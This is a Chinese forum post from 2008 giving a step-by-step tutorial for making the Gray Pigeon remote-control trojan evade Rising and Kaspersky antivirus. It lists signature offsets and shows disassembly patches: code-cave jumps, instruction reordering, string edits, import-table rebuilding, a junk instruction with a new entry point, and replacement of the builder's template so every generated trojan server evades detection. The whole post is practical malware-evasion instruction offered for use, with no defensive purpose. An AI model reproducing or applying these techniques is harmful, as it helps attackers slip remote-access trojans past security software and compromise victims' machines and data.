|
楼主 |
发表于 2008-9-22 20:25:22
|
显示全部楼层
|阅读模式
来自 山东省滨州市
瑞星是国内一流的杀毒软件,由其是杀内存比较强。在内存方面远远超过卡巴大叔。最近又出了瑞星
2007测式版,比起以前的瑞星增强了查壳能力,好久没做免杀了,有个朋友刚好要我给他的鸽子做免
杀,再说我也想试试瑞星2007到底有多强,于是开始做免杀工作。
此次免杀的主要目的就是过瑞星内存,瑞星文件就不说啥了,过了内存就基本上过了文件。要想过瑞
星内存方法也多,但是本文的方法主要就是修改特征码,然后删除文件里面服务信息资源,这样以后就
可以直接配置生成过瑞星内存的鸽子。
首先对瑞星内存特征码进行定位,这个很简单,相必做过免杀的people们都知道这个吧。在这就不费
话了,下面是我定位出的特征码(这是我花了一个小时弄出来的,过程是相当的枯躁),下面是我定位的
特征码:
特征码 物理地址/物理长度 如下:
[特征] 00***63B_000****0002
[特征] 0002E917_000****0002
[特征] 00***49A7_000****0002
[特征] 00***94B3D_000****0004
[特征] 000A0DD1_000****0002
[特征] 000A1250_000****0002
[特征] 000A1300_000****0002
[特征] 000A14D9_000****0002
[特征] 000A15BE_000****0002
[特征] 000A15C2_000****0004
[特征] 000A6EFB_000****0002
[特征] 000A6F1F_000****0004
下面我教大家一处一处的把它改掉。
第1处:用Uedit32载入服务端,来到偏移处00***63B发现是字符串“Software\\Borland\\Locales”其中
00***63B恰好是小写字母“d”,咱们把它改为大写字母“D”,改完后字符串变成了
“Software\\BorlanD\\Locales”第一处修改就完成了。
第2处:来到第二处文件偏移量,发现还是字符串“p.l.o.r.e.r.b.a”改成大写就OK。
第3处:来到文件偏移处,发现不是字符串,我们就对服务端进行反汇编。00***49A7所对的内存地址代
码如下:
00***55A08B45 FCmov eax,dword ptr ss:[ebp-4]
00***55A3E8 F8FDFFFFcall Server.00***53A0
00***55A885C0 test eax,eax
我们把call Server.00***53A0代码移位,
0040DC82***00 add byte ptr ds:[eax],al
0040DC84***00 add byte ptr ds:[eax],al
0040DC86***00 add byte ptr ds:[eax],al
0040DC88***00 add byte ptr ds:[eax],al
0040DC8A0000 add byte ptr ds:[eax],al
0040DC8C0000 add byte ptr ds:[eax],al
这里面发现空隙,咱们就把它移到这里,移完之后的代码如下:
00***55A08B45 FCmov eax,dword ptr ss:[ebp-4]
00***55A3E9 DA86F7FFjmp Server.0040DC82
00***55A885C0 test eax,eax
0040DC82E8 197****0800call Server.00***53A0
0040DC87E9 1C79***00jmp Server.00***55A8
第3处修改完成。
第4处:继续来到00***94B3D对应的汇编代码处:
004****7388B0424 mov eax,dword ptr ss:[esp]
00***73B3B86 0C01***00cmp eax,dword ptr ds:[esi+10C]
004****7417C ADjl short Server.00***56F0
费话不多写了改完后的代码如下:
004****7388B0424 mov eax,dword ptr ss:[esp]
00***73BE9 4C85F7FFjmp Server.0040DC8C
004****4090 nop
004****7417C ADjl short Server.00***56F0
0040DC8C3B86 0C01***00cmp eax,dword ptr ds:[esi+10C]
0040DC92E9 AA7A0800jmp Server.004****5741
第5处:对应汇编代码如下:
004A19CF8BD8 mov ebx,eax
004A19D16A FFpush -1
004A19D353 push ebx
在这一处我们更改汇编指令的顺序,前两句汇编指令颠倒顺序不会影响程序的正常执行,所以我们把它颠倒一下:
004A19CF6A FFpush -1
004A19D18BD8 mov ebx,eax
004A19D353 push ebx
第6处:和第3,4处一样,都是代码移位。
原代码如下:
004A1EFBE8 2C50F6FFcall <jmp.&kernel32.GetLastError>
004A1F003D B70***00cmp eax,0B7
004A1F0575 12jnz short Server.004A1F19
修改后的代码如下:
004A1EFBE8 2C50F6FFcall <jmp.&kernel32.GetLastError>
004A1F00E9 93BDF6FFjmp Server.0040DC98
004A1F0575 12jnz short Server.004A1F19
0040DC983D B70***00cmp eax,0B7
0040DC9DE9 634****0900jmp Server.004A1F05
第7处:就是对代码进行移位,没什么技术含量,原来代码如下:
004A20D1A1 B0554A00mov eax,dword ptr ds:[4A55B0]
004A20D68***38 00cmp byte ptr ds:[eax],0
004A20D974 05je short Server原.004A20E0
004A20DBE8 94F3FFFFcall Server原.004A1474
004A20E06A 00push 0
移位后如下:
004A20D1A1 B0554A00mov eax,dword ptr ds:[4A55B0]
004A20D6E9 65C1F6FFjmp Server.0040E240
004A20DBE8 94F3FFFFcall Server.004A1474
004A20E06A 00push 0
0040E24***38 00cmp byte ptr ds:[eax],0
0040E2430F84 973E0900je Server.004A20E0
0040E249E9 8D3E0900jmp Server.004A20DB
第8、9处:这一处是字符串,在这一处大家随便改吧。
原来里面的字符串是: “提示灰鸽子远程控制服务端安装成功”
把这一句随便改了,如改为:“中国黑基变种灰鸽子服务端安装成功”改后的字符串长度要和原来
的一样长。
第10处:对应汇编代码如下:
004A1E4BB9 040****0000mov ecx,4
004A1E506A 00push 0
004A1E526A 00push 0
004A1E5449 dec ecx
004A1E5575 F9jnz short Server.004A1E50
分析上面的汇编代码,jnz指令的意思是:结果不为零(或者不相等),则转移指令。测试条件:ZP=0
很显然由上面的代码看出,指令循环了4次,每次向堆栈压入2个0,一共向堆压入8个0。咱们可以把
这段代码改为如下:
004A1E4BB9 080****0000mov ecx,8
004A1E5090 nop
004A1E5190 nop
004A1E526A 00push 0
004A1E5449 dec ecx
004A1E5575 F9jnz short Server.004A1E50
上面的代码改为了让指令循环8次,每次向堆栈压入1个0,一共向堆栈压入也是8个0。运行结果是一
样的。
第11、12处:这两处特征码定义在输入表段(可不要去改大小写,windows的输入函数有严格的大小写
规定),咱们重新建立输入表段。
用PEID载入服务端,查看它的输入表的虚拟地址及大小。
虚拟地址:000A8000大小:00***33A2
用OD载入服务端,然后再用ImportREC载入服务端进程,把上面输入表的地址及大小填入ImportREC
里面的ITA所需信息,点击获取输入表
再点击显示无效的,右键选择删除指针。
如下图:
最后点击修理Dump,然后保存到服务端就OK了。
现在处理完成的服务端已经可以完美过瑞星了。
我们再让它小过一个卡巴大叔文件,其实并不难,加一条花指令就搞晕卡巴大叔。花指令如下:
0040E24E > /0F81 F43B0900jno Server.004A1E48 然后修改文件入口地址为:0000E24E ,
这样就可以过卡巴文件了。
最后我们用PE工具把黑防鸽子里面的服务端里面的“RCdata”下面的“HACKER”资源删除,
另存为Cserver.dat文件替换黑防鸽子目录下Cache文件夹下的的Cserver.dat文件,这样以后直接生成的
服务端不用再处理,就是直接过瑞星内存和卡巴文件的服务端。
整个过程就如上面所讲。有兴趣的朋友可以自己做一个。 |
|